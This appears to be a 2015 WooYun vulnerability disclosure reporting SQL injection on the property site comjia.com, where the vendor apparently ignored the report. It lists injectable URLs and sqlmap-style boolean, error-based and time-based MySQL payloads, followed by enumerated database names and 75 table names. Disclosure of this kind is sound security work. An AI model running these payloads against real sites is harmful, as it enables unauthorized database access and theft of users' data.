当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0128611

漏洞标题：买房网之侃家主站多处存在SQL注射

相关厂商：侃家

漏洞作者： 路人甲

提交时间：2015-07-23 15:18

修复时间：2015-09-06 15:20

公开时间：2015-09-06 15:20

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：未联系到厂商或者厂商积极忽略

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-07-23： 积极联系厂商并且等待厂商认领中，细节不对外公开
2015-09-06： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

no wall

详细说明：

在找租的房子，百度推荐的怎么是买房的。
职业病，就试了一下


20150723113946.png


20150723114007.png

漏洞证明：

http://www.comjia.com/project/index?page=1&&district_id=注入点&hidden_show_house_type=2
http://www.comjia.com/project/index?page=1&project_type=注入点&subway=注入点
http://www.comjia.com/project/index?hidden_show_house_type=1&page=1&project_advantage=1&room_type=注入点
---
Parameter: district_id (GET)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause
    Payload: page=1&&district_id=-4499 OR 5236=5236&hidden_show_house_type=2
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: page=1&&district_id=a AND (SELECT 7235 FROM(SELECT COUNT(*),CONCAT(0x7162767671,(SELECT (ELT(7235=7235,1))),0x7178707a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)&hidden_show_house_type=2
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 time-based blind - Parameter replace
    Payload: page=1&&district_id=(SELECT (CASE WHEN (9405=9405) THEN SLEEP(5) ELSE 9405*(SELECT 9405 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))&hidden_show_house_type=2
---
web application technology: Nginx, PHP 5.5.7
back-end DBMS: MySQL 5.0
current user:    'pc_comjia_zbj@localhost'
available databases [3]:
[*] information_schema
[*] pc_comjia
[*] test
Database: pc_comjia
[75 tables]
+----------------------------------+
| activity_become                  |
| activity_become_cartoon          |
| activity_become_guard            |
| activity_invite_code             |
| activity_invite_getmoney_history |
| activity_invite_history          |
| activity_redpaper_bought         |
| cj_audit                         |
| cj_channel                       |
| cj_custom_address                |
| cj_custom_project                |
| cj_custom_text                   |
| cj_dictionary                    |
| cj_dingding_token                |
| cj_district                      |
| cj_employee                      |
| cj_employee_20150720             |
| cj_favorite                      |
| cj_header                        |
| cj_header_20150713               |
| cj_header_service                |
| cj_house_type                    |
| cj_house_type_20150612           |
| cj_houses_price                  |
| cj_inbox                         |
| cj_layout_diagram                |
| cj_migration                     |
| cj_op_log                        |
| cj_order                         |
| cj_order_history                 |
| cj_project                       |
| cj_project_copy_20150530         |
| cj_project_copy_20150605         |
| cj_project_copy_20150607         |
| cj_project_copy_20150608         |
| cj_project_copy_20150611         |
| cj_project_copy_20150614         |
| cj_project_img                   |
| cj_project_position              |
| cj_quality_img                   |
| cj_rate                          |
| cj_score                         |
| cj_sms_log                       |
| cj_user                          |
| cj_user_copy_20150605            |
| cj_user_enroll                   |
| cj_user_see                      |
| employee                         |
| ms_2_my_cfg                      |
| tmp_content                      |
| tmp_house_project_type           |
| tmp_jianzhan                     |
| tmp_keywords                     |
| tmp_op_stay                      |
| tmp_project_alias                |
| tmp_project_collaborate          |
| tmp_project_phone                |
| tmp_project_sale                 |
| tmp_project_subway               |
| tmp_subway2                      |
| user_temp                        |
| wxb_access_token                 |
| wxb_access_token_copy            |
| wxb_access_token_copy1           |
| wxb_administrator                |
| wxb_apply                        |
| wxb_category                     |
| wxb_content                      |
| wxb_content_20150714             |
| wxb_custom_service               |
| wxb_first_reply                  |
| wxb_keywords                     |
| wxb_menu                         |
| wxb_weixin_customer              |
| wxb_weixin_receive               |
+----------------------------------+

修复方案：

fix

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝